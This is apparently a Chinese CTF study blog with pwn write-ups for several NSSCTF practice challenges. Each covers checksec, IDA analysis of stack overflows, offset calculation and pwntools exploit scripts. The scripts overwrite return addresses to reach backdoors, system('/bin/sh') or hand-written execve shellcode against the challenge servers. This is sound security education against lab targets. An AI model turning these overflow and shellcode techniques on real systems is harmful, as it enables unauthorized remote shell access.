pwn自主学习

gift_pwn

先nc链接一下,发现什么命令都没有用,下载附件放到kali里面file查看一下

再checksec一下看看是否有保护

然后放到IDA中查看,发现了栈溢出,定义了16,读取了0x64ull=100

发现bin/sh,查看一下

找到溢出,后门编写exp

运行后得到flag

NISACTF 2022ReorPwn?

这题有点神,直接就不是pwn,直接放到IDA查看

这段代码的大体意思就是将v4的内容进行倒序,我们想要获取flag只需要nc链接上后,直接通过rce命令查看flag就可以

BJDCTF 2020babystack

先将附件放到kali里checksec一下,查看一下附件

发现无保护后,使用IDA打开查看main函数的伪代码

发现在第16行和18行造成了栈溢出,询问用户名,但没有判断名长度,而第三行却定义了缓冲区的大小为12

这里存在后门,极为明显

根据分析编写exp

复制代码
from pwn import *


def attack4(url, port):
    p = remote(url, port)
    p.sendlineafter('your name:', '100')
    # 写法一:sendlineafter的好处在于可以定位,在想要的位置输入
    # p.sendline('100') 
    #写法二:本题即使不定位也可以输入,但是注意不能直接发送整数
    payload = b'a'*(0x10+8)*1 + p64(0x4006E6)
    p.sendline(payload)
    p.interactive()


if __name__ == '__main__':
    url = 'node4.anna.nssctf.cn'
    port = 28212
    attack4(url, port)

BJDCTF 2020babystack2.0

先用file和checksec查看附件

无保护,使用IDA查看

发现存在栈溢出,在第16行和第18行, 如果用户在第 16 行输入了一个很大的数字(例如 200),read 函数就会忠实地尝试向 buf 中写入 200 个字节的数据。但第三行定义了缓冲区大小只有12

记录backdoor的函数位置

然后查看缓冲区的并计算长度

最后编写exp获取flag

NISACTF 2022ezstack

先file和checksec一下

发现没有保护后,使用IDA打开

查看shell出发现溢出,缓冲区buf只有72字节,而写入0x60

通过string查找bin\sh和system的地址

得到后就可以编写exp获取flag

复制代码
from pwn import *

p = remote('node5.anna.nssctf.cn', 29578)

system_add = 0x08048512
bin_sh_add = 0x0804A024

payload = b'a' * (0x48+4) + p32(system_add) + p32(bin_sh_add)

p.sendline(payload)

p.interactive()

watevrCTF 2019Voting Machine 1

先file和checksec一下,看一下是否有保护

没有保护,使用IDA打开保护,查看main函数

发现栈溢出,缓冲区大小只有v4,而gets函数不检查边界,会造成溢出

再通过main函数计算出偏移量,到 return_addr 的距离 = 0x2 + 0x8 = 0xA = 10,查看string时,发现flag.txt

查看其反汇编代码,发现其可以直接读取flag,有了目标后就可以编写exp.py

复制代码
from pwn import *
io = remote("node5.anna.nssctf.cn",22886)
offset = 0x2 + 8
flag_addr = 0x0000000000400807
payload = b'a'*offset + p64(flag_addr)
io.sendline(payload)
io.interactive()

HNCTF 2022 Week1easyoverflow

老样子先查看一下checksec一下

64位无保护,使用IDA打开,查看main函数的伪代码

发现缓冲区大小位44,gets函数存在栈溢出,然后就是如果v5等于非零数的话执行cat flag

然后计算出偏移量,编写exp获取flag

复制代码
from pwn import *

io = remote("node5.anna.nssctf.cn", 28239)
io.sendline(b'A'*44 + b'\x01\x00\x00\x00')  # 44字节填充 + v5=1
io.interactive()

NISACTF 2022ezpie

先checksec一下,看看是否有保护

无保护,使用IDA打开,查看一下main函数

然后再vlun函数出发现栈溢出

后门在shell处,目标是覆盖返回地址到反弹shell

找到main和vlun的地址,编写exp获取flag

复制代码
# -*- coding: utf-8 -*-
from pwn import *

#p = process("./nss_1")
p = remote('node7.anna.nssctf.cn', 28944)

text = int(p.recvuntil("70")[-10:], 16)

shell_ad = text + abs(0x00000770 - 0x0000080f)

paylaod = cyclic(0x2C) + p32(shell_ad)

p.sendline(paylaod)

p.interactive()

NSSCTF 2022 Spring RecruitR3m4ke?

先checksec一下,查看有没有保护

没有保护,使用IDA打开

在main函数处发现栈溢出,缓冲区大小位32,gets函数不检查边界,造成栈溢出

发现backdoor,记录下其地址

然后编写exp获取flag

GDOUCTF 2023EASY PWN

先checksec一下,发现存在NX

使用IDA打开查看,存在gets函数,说明存在栈溢出,还有print_flag和check函数

check函数存在gets函数,存在栈溢出,需要覆盖地址返回print_flag,使v5为非零或者直接覆盖

然后编写exp

复制代码
from pwn import *

io = remote("node5.anna.nssctf.cn", 22304)

# 偏移量 = 0x1F (到 rbp) + 8 (saved_rbp) = 39
offset = 0x1F + 8

# print_flag 地址
print_flag = 0x11D5  # 需要确认完整地址

payload = b'A' * offset + p64(print_flag)

io.sendlineafter(b"Password:", payload)
io.interactive()

但是发现nc链接后直接输入大量字符串就可以直接获取flag

GDOUCTF 2023Shellcode

先查看一下机制

使用IDA打查看一下main函数

缓冲区大小为10字节,读取大小为64,存在溢出,查看一下read

read存在于bss段,我们需要覆盖返回地址到 name 中的 shellcode,就是在name中写shellcode,使地址返回到name

编写exp获取flag

复制代码
from pwn import *

context(arch = 'amd64', os = 'linux', log_level = 'debug')

io = remote('node4.anna.nssctf.cn', 20425)
code ="mov rbx, 0x68732f6e69622f; push rbx; push rsp; pop rdi; xor esi, esi; xor edx, edx; push 0x3b; pop rax; syscall"
shellcode = asm(code)
io.sendlineafter('Please.\n',shellcode)
ret = 0x000000000040074F
name = 0x00000000006010A0
io.recvuntil("Let's start!\n")

payload = cyclic(0xa + 8) + p64(name) + p64(ret)
io.sendline(payload)
io.interactive()